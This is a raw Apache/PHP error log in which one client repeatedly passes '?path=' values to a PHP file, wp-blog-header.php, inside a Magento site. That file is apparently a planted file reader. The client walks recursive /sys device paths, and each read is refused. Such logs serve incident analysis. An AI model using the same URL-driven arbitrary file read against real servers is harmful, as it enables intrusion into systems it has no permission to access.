[Thu Mar 26 10:58:26.304813 2026] [php:warn] [pid 3106409] [client 74.7.241.26:40534] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bc/subsystem/drivers/ec/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bc/subsystem/drivers/ec
[Thu Mar 26 10:58:26.828477 2026] [php:warn] [pid 3106409] [client 74.7.241.26:40534] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cd/subsystem/devices/device:be/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cd/subsystem/devices/device:be
[Thu Mar 26 10:58:27.895870 2026] [php:warn] [pid 3106409] [client 74.7.241.26:40534] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:fd/device:fe/subsystem/devices/device:ea/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:fd/device:fe/subsystem/devices/device:ea
[Thu Mar 26 10:58:28.397123 2026] [php:warn] [pid 3106409] [client 74.7.241.26:40534] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:be/subsystem/drivers/ac/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:be/subsystem/drivers/ac
[Thu Mar 26 10:58:30.974801 2026] [php:warn] [pid 3106409] [client 74.7.241.26:40534] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ca/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ce/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ca/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ce
[Thu Mar 26 10:58:38.835882 2026] [php:warn] [pid 3106409] [client 74.7.241.26:40534] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ca/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ae/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ca/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ae
[Thu Mar 26 10:58:43.103202 2026] [php:warn] [pid 3106409] [client 74.7.241.26:40534] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:cd/device:ce/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:cd/device:ce
[Thu Mar 26 10:58:45.359319 2026] [php:warn] [pid 3107062] [client 74.7.241.26:45746] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:bb/device:bc/subsystem/devices/device:bc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:bb/device:bc/subsystem/devices/device:bc
[Thu Mar 26 10:58:51.825063 2026] [php:warn] [pid 3107062] [client 74.7.241.26:45746] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:dd/subsystem/devices/device:cc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:dd/subsystem/devices/device:cc
[Thu Mar 26 10:58:54.479770 2026] [php:warn] [pid 3107062] [client 74.7.241.26:45746] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fa/subsystem/devices/device:fe/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fa/subsystem/devices/device:fe
[Thu Mar 26 10:59:02.486145 2026] [php:warn] [pid 3107062] [client 74.7.241.26:45746] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ff/subsystem/devices/device:ba/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ff/subsystem/devices/device:ba
[Thu Mar 26 10:59:03.520442 2026] [php:warn] [pid 3107062] [client 74.7.241.26:45746] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:cd/device:ce/subsystem/devices/device:bc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:cd/device:ce/subsystem/devices/device:bc
[Thu Mar 26 10:59:04.051065 2026] [php:warn] [pid 3107062] [client 74.7.241.26:45746] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dd/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dd/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fc
[Thu Mar 26 10:59:05.067940 2026] [php:warn] [pid 3107062] [client 74.7.241.26:45746] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bb/subsystem/devices/device:dc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bb/subsystem/devices/device:dc
[Thu Mar 26 10:59:08.207684 2026] [php:warn] [pid 3107062] [client 74.7.241.26:45746] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ac/subsystem/devices/device:da/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ac/subsystem/devices/device:da
[Thu Mar 26 10:59:11.898154 2026] [php:warn] [pid 3107062] [client 74.7.241.26:45746] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:eb/device:ec/subsystem/devices/device:cc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:eb/device:ec/subsystem/devices/device:cc
[Thu Mar 26 10:59:13.443431 2026] [php:warn] [pid 3107062] [client 74.7.241.26:45746] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ee/subsystem/devices/device:fe/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ee/subsystem/devices/device:fe
[Thu Mar 26 10:59:14.010422 2026] [php:warn] [pid 3107062] [client 74.7.241.26:45746] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:fd/device:fe/subsystem/devices/device:be/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:fd/device:fe/subsystem/devices/device:be
[Thu Mar 26 10:59:15.053427 2026] [php:warn] [pid 3107062] [client 74.7.241.26:45746] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ad/subsystem/drivers/ac/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ad/subsystem/drivers/ac
[Thu Mar 26 10:59:15.620531 2026] [php:warn] [pid 3107062] [client 74.7.241.26:45746] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:dc/subsystem/devices/device:fa/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:dc/subsystem/devices/device:fa
[Thu Mar 26 10:59:17.208904 2026] [php:warn] [pid 3107062] [client 74.7.241.26:45746] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:df/subsystem/devices/device:ae/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:df/subsystem/devices/device:ae
[Thu Mar 26 10:59:17.743797 2026] [php:warn] [pid 3107062] [client 74.7.241.26:45746] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:bb/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ec/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:bb/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ec
[Thu Mar 26 10:59:20.364497 2026] [php:warn] [pid 3107062] [client 74.7.241.26:45746] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:cd/device:ce/subsystem/drivers/ac/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:cd/device:ce/subsystem/drivers/ac
[Thu Mar 26 10:59:20.838628 2026] [php:warn] [pid 3107062] [client 74.7.241.26:45746] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:cb/device:cc/subsystem/drivers/ac/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:cb/device:cc/subsystem/drivers/ac
[Thu Mar 26 10:59:23.570299 2026] [php:warn] [pid 3107062] [client 74.7.241.26:45746] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:db/subsystem/devices/device:ca/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:db/subsystem/devices/device:ca
[Thu Mar 26 10:59:27.784824 2026] [php:warn] [pid 3107062] [client 74.7.241.26:45746] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bf/subsystem/devices/device:ae/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bf/subsystem/devices/device:ae
[Thu Mar 26 10:59:30.545539 2026] [php:warn] [pid 3107062] [client 74.7.241.26:45746] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ea/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ea/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bc
[Thu Mar 26 10:59:31.673337 2026] [php:warn] [pid 3107062] [client 74.7.241.26:45746] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:fb/device:fc/subsystem/drivers/ec/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:fb/device:fc/subsystem/drivers/ec
[Thu Mar 26 10:59:32.654896 2026] [php:warn] [pid 3107062] [client 74.7.241.26:45746] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:ab/device:ac/subsystem/devices/device:ce/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:ab/device:ac/subsystem/devices/device:ce
[Thu Mar 26 10:59:33.191805 2026] [php:warn] [pid 3107062] [client 74.7.241.26:45746] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:af/subsystem/drivers/ec/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:af/subsystem/drivers/ec
[Thu Mar 26 10:59:38.187530 2026] [php:warn] [pid 3106381] [client 74.7.241.26:59640] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:db/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ca/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:db/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ca
[Thu Mar 26 10:59:46.006922 2026] [php:warn] [pid 3106381] [client 74.7.241.26:59640] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:bd/device:be/subsystem/devices/device:dc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:bd/device:be/subsystem/devices/device:dc
[Thu Mar 26 10:59:50.306828 2026] [php:warn] [pid 3106381] [client 74.7.241.26:59640] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dc/subsystem/devices/device:ad/device:ae/subsystem/drivers/ac/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dc/subsystem/devices/device:ad/device:ae/subsystem/drivers/ac
[Thu Mar 26 10:59:50.889142 2026] [php:warn] [pid 3106381] [client 74.7.241.26:59640] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ec/subsystem/drivers/ac/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ec/subsystem/drivers/ac
[Thu Mar 26 10:59:51.477656 2026] [php:warn] [pid 3106381] [client 74.7.241.26:59640] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ed/subsystem/drivers/ac/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ed/subsystem/drivers/ac
[Thu Mar 26 10:59:51.971093 2026] [php:warn] [pid 3106381] [client 74.7.241.26:59640] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cf/subsystem/devices/device:fc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cf/subsystem/devices/device:fc
[Thu Mar 26 10:59:52.501912 2026] [php:warn] [pid 3106381] [client 74.7.241.26:59640] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fe/subsystem/devices/device:fe/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fe/subsystem/devices/device:fe
[Thu Mar 26 10:59:55.672274 2026] [php:warn] [pid 3106381] [client 74.7.241.26:59640] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:eb/subsystem/devices/device:bd/device:be/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:eb/subsystem/devices/device:bd/device:be
[Thu Mar 26 10:59:57.794390 2026] [php:warn] [pid 3106381] [client 74.7.241.26:59640] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:eb/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ea/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:eb/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ea
[Thu Mar 26 10:59:59.393438 2026] [php:warn] [pid 3106381] [client 74.7.241.26:59640] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bc/subsystem/devices/device:da/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bc/subsystem/devices/device:da
[Thu Mar 26 11:00:07.312748 2026] [php:warn] [pid 3106381] [client 74.7.241.26:59640] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:eb/subsystem/devices/device:ad/device:ae/subsystem/devices/device:aa/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:eb/subsystem/devices/device:ad/device:ae/subsystem/devices/device:aa
[Thu Mar 26 11:00:09.413959 2026] [php:warn] [pid 3106381] [client 74.7.241.26:59640] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:dd/device:de/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:dd/device:de
[Thu Mar 26 11:00:10.491327 2026] [php:warn] [pid 3106381] [client 74.7.241.26:59640] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cc/subsystem/devices/device:aa/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cc/subsystem/devices/device:aa
[Thu Mar 26 11:00:12.075304 2026] [php:warn] [pid 3106381] [client 74.7.241.26:59640] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:cd/device:ce/subsystem/devices/device:ec/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:cd/device:ce/subsystem/devices/device:ec
